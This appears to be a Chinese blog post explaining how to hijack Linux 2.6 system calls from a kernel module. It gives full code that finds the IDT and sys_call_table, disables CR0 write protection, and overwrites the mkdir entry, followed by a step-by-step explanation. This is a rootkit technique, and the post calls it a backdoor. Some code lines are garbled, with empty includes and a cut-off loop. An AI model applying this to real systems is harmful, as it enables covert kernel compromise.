linux 中断系统调用代码,linux 系统调用中断劫持实现—原理和代码。

在linux

2.4版本的内核中,使用了导出符号表sys_call_table.因此,很容易通过导出符号表来找到系统调用表的地址,因此给攻击程序提供了方便的策略。因此,为了安全,在2.6内核版本中,系统调用表不再被导出。下面给出在2.6内核代码中获得系统调用表,实现系统劫持的过程。(修改sys_mkdir系统调用为例)。

实现代码:

#include

#include

#include

#include

MODULE_DESCRIPTION("My kernel module");

MODULE_AUTHOR("root (root@10h212.xjtu.edu.cn)");

MODULE_LICENSE("$LICENSE$");

struct idt

{

unsigned short limit;

unsigned int base;

}__attribute__((packed));

struct idt_gate

{

unsigned short off1;

unsigned short sel;

unsigned char nome,flags;

unsigned short off2;

}__attribute__((packed));

unsigned int get_idt_base()

{

unsigned int base;

struct idt idt_table;

__asm__ __volatile__("sidt %0":"=m"(idt_table));

base=idt_table.base;

return base;

}

unsigned int get_sys_call_entry(unsigned int idt_base)

{

struct idt_gate sys_call;

memcpy(&sys_call,idt_base+8*0x80,sizeof(struct

idt_gate));

unsigned int sys_call_entry=(sys_call.off2

<< 16) | sys_call.off1;

return sys_call_entry;

}

unsigned int get_sys_call_table_entry(unsigned int

sys_call_entry,char * exp,char exp_len,unsigned int cope)

{

char * begin=sys_call_entry;

char * end=sys_call_entry+cope;

for(;begin

{

if(begin[0]==exp[0]&&begin[1]==exp[1]&&begin[2]==exp[2])

return *((unsigned int

*)(begin+3));

}

return 0;

}

void setback_cr0(unsigned int val)

{

asm

volatile ("movl %%eax, %%cr0"

:

: "a"(val)

);

}

unsigned int clear_cr0_save()

{

unsigned int cr0 = 0;

unsigned int ret;

__asm__ __volatile__ ("movl

%%cr0, %%eax":"=a"(cr0));

ret = cr0;

cr0 &= 0xfffeffff;

asm volatile ("movl %%eax, %%cr0"::

"a"(cr0));

return ret;

}

// new mkdir

asmlinkage long my_mkdir(const char *name,int mod)

{

printk(KERN_ALERT"mkdir call is intercepted\n");

}

asmlinkage long my_open(const char *name,int mod)

{

printk(KERN_ALERT"open call is intercepted\n");

}

static int syscall_info_init_module(void)

{

unsigned int idt_base=get_idt_base();

printk( KERN_ALERT"the idt base address is

%x\n",idt_base );

unsigned int

sys_call_entry=get_sys_call_entry(idt_base);

printk( KERN_ALERT"the sys

call entry is %x\n",sys_call_entry );

unsigned int

sys_table=get_sys_call_table_entry(sys_call_entry,"\xff\x14\x85",3,100);

void ** table=(void

**)sys_table;

//wp clear

unsigned

int cr0=clear_cr0_save();

// intercept mkdir call

table[__NR_mkdir]=my_mkdir;

//  table[__NR_open]=my_mkoep;

//set wp bit

setback_cr0(cr0);

printk( KERN_ALERT"the sys

table is %x\n",sys_table );

return 0;

}

static void syscall_info_exit_module(void)

{

printk( KERN_DEBUG "Module

syscall_info exit\n" );

}

module_init(syscall_info_init_module);

module_exit(syscall_info_exit_module);

实现原理:

在linux中使用0x80

异常实现系统调用,因此,主要的实现路径:获得中断向量表->获得系统调用中断处理函数地址->获得系统调用符号表->修改对应变量的偏移值指向新的系统调用程序(后门程序)。

一,中断像量表的获取。

在x86中,idtr寄存器使得中断向量表可以存放在内存的任何位置,idtr寄存器有一个基地址和一个段限组成,高四字节为基地址,低两字节为段限。可以通过sidt指令获得idtr的内容。

struct idt

{

unsigned short limit;

unsigned int base;

}__attribute__((packed));

__asm__ __volatile__("sidt %0":"=m"(idt_table));

上面语句通过sidt将idtr的内容付给idt_table,通过idt_table.base即可得到idt的基地址。

二,系统调用处理函数地址的获取:

IDT基地址存放的是中断门,每个门8个字节,门描述符的格式参考intel开发手册,其中,中断门的最低两个字节和最高两个字节构成了中断处理程序的地址。获得系统调用中断(异常)处理程序的地址

memcpy(&sys_call,idt_base+8*0x80,sizeof(struct

idt_gate));

unsigned int sys_call_entry=(sys_call.off2

<< 16) | sys_call.off1;

return sys_call_entry;

通过sys_call结构体的off2字段和off1字段来获得系统调用处理程序的地址。

中断门描述符:

struct idt_gate

{

unsigned short off1;

unsigned short sel;

unsigned char nome,flags;

unsigned short off2;

}__attribute__((packed));

三,获得系统调用表。

我们的目的是修改系统调用地址,从而修改系统处理程序地址。sys_call是所有系统调用的处理程序,在进行一些必要的处理后,统一调用

call

sys_call_table(,eax,4)来调用系统调用表中的系统调用程序,eax存放的即系统调用号,因此,获取sys_call_table的地址即可以达到目的。

通过反汇编sys_call函数,可以得知,只有在调用系统调用处使用了call指令,x86

call指令的二进制格式为\xff\x14\x85,因此,我们可以从sys_call函数开始进行搜索,当出现\xff\x14\x85指令的时候,即为call的地址,从而能得到存放sys_call_table的地址即当前地址+3,而系统调用表即地址的内容,因此,获取系统调用表地址的实现过程就简单了。

unsigned int get_sys_call_table_entry(unsigned int

sys_call_entry,char * exp,char exp_len,unsigned int cope)

{

char * begin=sys_call_entry;

char * end=sys_call_entry+cope;

for(;begin

{

if(begin[0]==exp[0]&&begin[1]==exp[1]&&begin[2]==exp[2])

return *((unsigned int

*)(begin+3));

}

return 0;

}

这是通过简单的搜索的方式来找到call 指令,从而得到sys_call_table的地址的。

四,劫持系统调用

首先,准备了一个替代的系统调用

asmlinkage long my_mkdir(const char *name,int mod)

{

printk(KERN_ALERT"mkdir call is intercepted\n");

}

然后设置cr0寄存器的wp位,然后修改mkdir系统调用地址,设置为my_mkdir的地址。

unsigned int cr0=clear_cr0_save();

// intercept mkdir call

table[__NR_mkdir]=my_mkdir;

//  table[__NR_open]=my_mkoep;

//set wp bit

setback_cr0(cr0);

注:如果不清楚cr0的wp位,则出现段错误,原因是,对相关页实现了写保护策略,因此,。应该通过cr0寄存器wp位置来使得页表保护无效,修改后,再设置为原来的值。

这样,将模块加载到内核后,即可以实现系统调用的劫持。在terminal中输入mkdir命令,即可发现,不能创建文件夹了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值